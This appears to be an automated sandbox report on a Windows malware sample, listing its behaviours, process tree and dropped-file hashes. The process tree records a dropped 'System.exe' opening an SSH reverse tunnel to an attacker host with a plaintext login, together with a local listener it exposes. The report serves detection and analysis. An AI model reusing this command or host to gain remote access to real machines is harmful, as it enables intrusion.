Analysis

  • max time kernel
    136s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/11/2022, 20:12

General

  • Target

    8f7267942b615aff2cda7c73c1bee9985675c7851a1fdbe51b4af10d3bc09907.exe

  • Size

    620KB

  • MD5

    4956b7219e873980802e0ba17ab4eb74

  • SHA1

    99c2eede878353aa3aa1226baeca6acf29712e3f

  • SHA256

    8f7267942b615aff2cda7c73c1bee9985675c7851a1fdbe51b4af10d3bc09907

  • SHA512

    3ddc959d5f6870d56298902a7e9cfe1d1e27a964ae28b0b3272df93dc045efd17d5db1fa8c472b68f36a74c68804222d8316065daa66d4025a2264dab286160d

  • SSDEEP

    12288:A036q0TmZZfDzS7vJvb+1WA9T2MenWBgMw3V:A036q0CHfyvJToWO2vnWBM

Score
9/10

Malware Config

Signatures

  • ACProtect 1.3x - 1.4x DLL software 1 IoCs

    Detects file using ACProtect software.

  • Executes dropped EXE 3 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 35 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8f7267942b615aff2cda7c73c1bee9985675c7851a1fdbe51b4af10d3bc09907.exe
    "C:\Users\Admin\AppData\Local\Temp\8f7267942b615aff2cda7c73c1bee9985675c7851a1fdbe51b4af10d3bc09907.exe"
    1⤵
    • Checks computer location settings
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4972
    • C:\Users\Admin\AppData\Local\Temp\forbind.exe
      "C:\Users\Admin\AppData\Local\Temp\forbind.exe" 0
      2⤵
      • Executes dropped EXE
      • Checks computer location settings
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:1192
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Win.Msi\alg.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:4608
        • C:\Win.Msi\cssrs.exe
          "C:\Win.Msi\cssrs.exe" -d -t -l -e0.0.0.0 -i127.0.0.1 -p2103 -a
          4⤵
          • Executes dropped EXE
          PID:4884
        • C:\Win.Msi\System.exe
          "C:\Win.Msi\System.exe" -ssh -R 45954:127.0.0.1:2103 homme33vc.zapto.org -l homme33vc -pw 2n3055
          4⤵
          • Executes dropped EXE
          PID:4180
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://img84.imageshack.us/slideshow/webplayer.php?id=15237971.jpg
        3⤵
        • Enumerates system info in registry
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:3328
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffcac1746f8,0x7ffcac174708,0x7ffcac174718
          4⤵
            PID:4324
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,10872909756575598793,7768687669625808701,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2176 /prefetch:2
            4⤵
              PID:2368
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2164,10872909756575598793,7768687669625808701,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 /prefetch:3
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:4328
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2164,10872909756575598793,7768687669625808701,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2772 /prefetch:8
              4⤵
                PID:4264
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,10872909756575598793,7768687669625808701,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3380 /prefetch:1
                4⤵
                  PID:4112
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,10872909756575598793,7768687669625808701,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3396 /prefetch:1
                  4⤵
                    PID:2312
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2164,10872909756575598793,7768687669625808701,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4764 /prefetch:8
                    4⤵
                      PID:2616
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,10872909756575598793,7768687669625808701,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5588 /prefetch:1
                      4⤵
                        PID:3392
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,10872909756575598793,7768687669625808701,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3740 /prefetch:1
                        4⤵
                          PID:4600
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,10872909756575598793,7768687669625808701,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5216 /prefetch:2
                          4⤵
                          • Suspicious behavior: EnumeratesProcesses
                          PID:3140
                    • C:\Program Files\Internet Explorer\iexplore.exe
                      /scomma "C:\Users\Admin\AppData\Local\Temp\tmp.ini"
                      2⤵
                      • Modifies Internet Explorer settings
                      • Suspicious behavior: GetForegroundWindowSpam
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of SetWindowsHookEx
                      PID:452
                      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:452 CREDAT:17410 /prefetch:2
                        3⤵
                        • Modifies Internet Explorer settings
                        • Suspicious use of SetWindowsHookEx
                        PID:996
                  • C:\Windows\System32\CompPkgSrv.exe
                    C:\Windows\System32\CompPkgSrv.exe -Embedding
                    1⤵
                      PID:4248

                    Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

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                    Downloads

                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

                      Filesize

                      471B

                      MD5

                      e32d02ce684c01ef3af05fae9066160e

                      SHA1

                      29c7a6e8ed553ac2765634265d1db041d6d422ec

                      SHA256

                      b00322d178a6cfc206458c26b26d6c80596073bb3283dcc3fc4e33a4b5f29d71

                      SHA512

                      e4e3175fb131095e4681ecb76d14dc74d059c0beafb6340965516c6d3d0538deb314b36a3f09df03b491edac84d5c0580e764fed1d8bca9abd4e65cb56167148

                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

                      Filesize

                      434B

                      MD5

                      2fbef02f103e0503a729b4be8baf877a

                      SHA1

                      0dd5e2bcc2f9a368766f9e8bbcab77ed33821c00

                      SHA256

                      2e79f2df2869d173b8b7ef5ac4e90dd9478765890314defa2f8f43cc75b6662c

                      SHA512

                      ba27ac9550a6f67cb41ed3924c1a8f8d84bc4705d210761028184c8c3317697d0200df4fa88d40158e17a69b2e58c34442e4ffa1ea7f51e9e8538f6053b4aa9b

                    • C:\Users\Admin\AppData\Local\Temp\forbind.exe

                      Filesize

                      269KB

                      MD5

                      ce3a92a2eebd9dda206d2ffca2be0981

                      SHA1

                      f4624de0edd1c14ec2d0810377e52273f595a4ad

                      SHA256

                      f1844efba38409811b5c02285513b86a0a3cead59b6427882b530a60c23d52ea

                      SHA512

                      31d84bf1bc0cbce9aa1ccc82eca040424fc8b8f0d012ef6578518480b02781be393c84d3e8878f6f4014e39036ff406cbfae6c7b1578bbef4e10ba1a550374ad

                    • C:\Users\Admin\AppData\Local\Temp\forbind.exe

                      Filesize

                      269KB

                      MD5

                      ce3a92a2eebd9dda206d2ffca2be0981

                      SHA1

                      f4624de0edd1c14ec2d0810377e52273f595a4ad

                      SHA256

                      f1844efba38409811b5c02285513b86a0a3cead59b6427882b530a60c23d52ea

                      SHA512

                      31d84bf1bc0cbce9aa1ccc82eca040424fc8b8f0d012ef6578518480b02781be393c84d3e8878f6f4014e39036ff406cbfae6c7b1578bbef4e10ba1a550374ad

                    • C:\Users\Admin\AppData\Local\Temp\sqlite3.dll

                      Filesize

                      171KB

                      MD5

                      744dcc4cbbfbb18fe3878c4e769ec48f

                      SHA1

                      c1f2c56ee2d91203a01d3465f185295477a1217d

                      SHA256

                      33eb31a2a576e663474a895ff0190316c64a93d9ce05a55df0d53f9beeb61163

                      SHA512

                      706630be2ca09e574a7794e32e515a0a3f993643d034647b8cb976c1e7045e87e30362757cc65fcdb95f4a4327f0dcda3edc82ba84e5ed9115870a037e13af21

                    • C:\Win.Msi\DiskDoctor.lnk

                      Filesize

                      538B

                      MD5

                      ed3470ec82535b6b52f9fcc0f5ebd9b1

                      SHA1

                      d416033cdc7819aaf98df15ab8c49d117331ac29

                      SHA256

                      1ea8146b91c3d1e5ddbf70f2a3d739a3499d7298135b65a00011c581dc898494

                      SHA512

                      eed06113b4686d18a84b298cf34ca64ca4d69e163969f61bec7b323e709e7b895250aa9915381842ac7e510899d6c45e70bf5b35883a0d51be068ab607146a7d

                    • C:\Win.Msi\System.exe

                      Filesize

                      323KB

                      MD5

                      f4bf5c28bed38e31c143abfb9bebb6d5

                      SHA1

                      015f3e7ce4ff406f712b4ee1c893edfaa9276259

                      SHA256

                      d79ffe88f41e98fdf29b6ee747519bb4bd546a572235dfdbd6962311455c6971

                      SHA512

                      72e6ed78e42d357447ada178956b9960784fd3cfc0268ede7d4a602e1f789585d90e5ef006070034a7a9b0f35afd39000eb7fa9f6c2d06f4bddce766b85bc935

                    • C:\Win.Msi\System.exe

                      Filesize

                      323KB

                      MD5

                      f4bf5c28bed38e31c143abfb9bebb6d5

                      SHA1

                      015f3e7ce4ff406f712b4ee1c893edfaa9276259

                      SHA256

                      d79ffe88f41e98fdf29b6ee747519bb4bd546a572235dfdbd6962311455c6971

                      SHA512

                      72e6ed78e42d357447ada178956b9960784fd3cfc0268ede7d4a602e1f789585d90e5ef006070034a7a9b0f35afd39000eb7fa9f6c2d06f4bddce766b85bc935

                    • C:\Win.Msi\alg.vbs

                      Filesize

                      1KB

                      MD5

                      057150f4719cb0919d9d717e37e5e6c6

                      SHA1

                      e69d242f8074528bc6899ef95f145e52c8ac7684

                      SHA256

                      29b6f773d3526ec2838b1ec317d937cd3035f3ef79d5752c1b57803d50bdbf63

                      SHA512

                      51d382c12c4949d5ecaf78220e9c106c13268c9704c89ededacba3fefd6d33f26a947425671897194f545dd3990f5c7dba8c9fda1afdbf4abe1dcf9e72d76595

                    • C:\Win.Msi\cssrs.exe

                      Filesize

                      45KB

                      MD5

                      199a984c4027236c6650952650b8b917

                      SHA1

                      24a279ea7aacdf2fdfb6a419ae87e2ad59e416fe

                      SHA256

                      c13de5ba03c02ea1a44aa7fd7af2989b94669c9715ce0e1447a271417a58cfed

                      SHA512

                      112893ea8475d2eddc42f8375ba295bbe161a7050b2b1879ca89c17fe62bf1da6dd4603aad1067766ebd8fcd7b133dc1ae10a095aa63039716b953722a71258a

                    • C:\Win.Msi\cssrs.exe

                      Filesize

                      45KB

                      MD5

                      199a984c4027236c6650952650b8b917

                      SHA1

                      24a279ea7aacdf2fdfb6a419ae87e2ad59e416fe

                      SHA256

                      c13de5ba03c02ea1a44aa7fd7af2989b94669c9715ce0e1447a271417a58cfed

                      SHA512

                      112893ea8475d2eddc42f8375ba295bbe161a7050b2b1879ca89c17fe62bf1da6dd4603aad1067766ebd8fcd7b133dc1ae10a095aa63039716b953722a71258a

                    • memory/4972-149-0x0000000010000000-0x000000001005A000-memory.dmp

                      Filesize

                      360KB